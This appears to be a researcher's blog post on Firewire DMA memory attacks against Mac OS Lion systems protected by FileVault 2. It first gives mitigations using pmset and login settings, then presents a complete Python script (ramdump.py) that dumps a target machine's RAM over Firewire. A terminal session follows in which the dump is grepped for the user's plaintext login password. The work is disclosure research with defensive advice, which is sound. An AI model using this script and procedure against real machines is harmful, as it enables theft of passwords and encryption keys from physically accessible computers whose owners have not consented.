Firewire Attacks Against Mac OS Lion FileVault 2 Encryption

There is some question about the extent to which Lion and FileVault is vulnerable to Firewire DMA attacks.  I performed some research (full paper is available below) and can present the following results: Retrieving plain text passwords from RAM on Mac OS Lion (10.7) can be done under most circumstances where the system is using the default configuration.  But, I want to point out that this definitely isn’t a fatal flaw in FileVault 2’s design and that it is quite easy to mitigate against these attacks.  Unfortunately, Lion is not “secure by default”. Here is a quick summary of what states are susceptible to the attack: For a more-depth discussion of why, please see the paper (at the bottom of this post.)

Stopping the Attack

Protecting against the attack is pretty simple (assuming that FV2 is turned on,) requiring three configuration settings to be modified (Fast User Switching, and a couple of sleep options.) This will protect the system as long as it isn’t running and unlocked (in which case it is insecure anyway,) and if you haven’t logged out and left the system running (I don’t have any suggestions on that one.)  Here is how …

Fast User Switching

This feature can be disabled in the System Preferences, by selecting “Users and Groups”, clicking on “Login Options”, and unselecting the “Show fast User switching menu as” check box:

Changing Sleep Options:

These settings must be changed from the command line, as the root user, using the “pmset” command.  There are two relevant options:
Option Value Description
destroyfvkeyonstandby 1 Removes the full volume encryption key from RAM when the system is put into sleep mode and is dependent on the value of hibernatemode.
hibernatemode 25 Forces the system to immediately write RAM to disk and remove power from memory upon sleep.
For example:
sudo pmset -a destroyfvkeyonstandby 1 hibernatemode 25

Performing the Attack

libforensic1394

I used Freddie Witherden’s libforensic1394 libraries to connect over Firewire and dump the RAM into a binary file. (local copy)  I couldn’t find a script that used the libraries to perform the dump, so I wrote a small Python script that uses the library.  It also is capable (tested, and confirmed) of performing DMA imaging of Windows 7, and Linux 2.6 systems with Firewire. 
(ramdump.py) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Todd Garrison, 2011 http://frameloss.org/
# Simple script that creates a binary file containing the contents of another computer's RAM
# Requires the libforensic1394 library: https://freddie.witherden.org/tools/libforensic1394/
# 

"""
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
"""


from forensic1394 import Bus
from time import sleep
from sys import argv

def usage():
	print ""
	print "Usage:"
	print argv[0] + " <MB> <SBP-2>"
	print ""
	print "   MB = Size of dumpfile."
	print "   SBP-2 = T or F (set to T for linux/win, F for Mac Lion targets)"
	print ""
	print "   Example dump first 128mb from a Windows Machine:"
	print "      python " + argv[0] + " 128 T"
	print ""
	return
b=Bus()
d = b.devices()[0]
# get opts
try:
	mbs = int(argv[1])
	if mbs < 1:
		exit()
	sbp = str(argv[2])
	if sbp.upper() == "T":
		# Use this for dumping everything *other* *than* MacOS Lion
		b.enable_sbp2()
		sleep (2.0)
		pageSize=d.request_size
		print "Using " + str(pageSize) + " byte pages"
	elif sbp.upper() == "F":
		print "SBP-2 not used, forcing 2048 byte pages."
		pageSize = 2048
	else:
		exit()
except:
	usage()
	raise
	exit()

# Open the first device
print b.devices()
print "Attempting to access device 0: " + b.devices()[0].vendor_name + " " + b.devices()[0].product_name
d = b.devices()[0]
d.open()
fileobj = open("ramdump.bin", "wb", 1024*1024*64)
try:
        for i in range(0, mbs*1024*1024/pageSize):
		# Skip the first MB
                fileobj.write(d.read(1024*1024 + i*pageSize,pageSize))
	fileobj.close()
	print "Wrote file ramdump.bin."
except IOError:
	print "Something went wrong, sorry."
Getting the libaries built is pretty simple.  I tested on a Ubuntu 11.04 system, and a few libraries and programs that are needed weren’t installed by default:
sudo apt-get install gcc g++ cmake linux-headers-generic
The build directions that Freddie Witherden provides are straight forward.  Once built you can perform a capture and grab passwords:
tag@ubuntu11:~$ sudo -s
[sudo] password for tag:
root@ubuntu11:~# ./ramdump.py 1024 f
SBP-2 not used, forcing 2048 byte pages.
[<forensic1394.device.Device object at 0x1078250>]
Attempting to access device 0: Apple Computer, Inc. Macintosh
Wrote file ramdump.bin.
root@ubuntu11:~# strings ramdump.bin |grep --after-context=3 managedUser \
>          |grep --after-context=1 password
password
password1
shell
--
password
shell
root@ubuntu11:~#
The password is highlighted in Red above.

More Details

If you want more information please read the paper.  The full text of the paper is available under a Creative Commons license. Local Copy in PDF Format (272K) | Read online as a Google Doc There is also a short PowerPoint available that provides a high-level overview. Local Copy in PPTX Format (266K) | Read online as a Google Doc (didn’t format well, sorry.)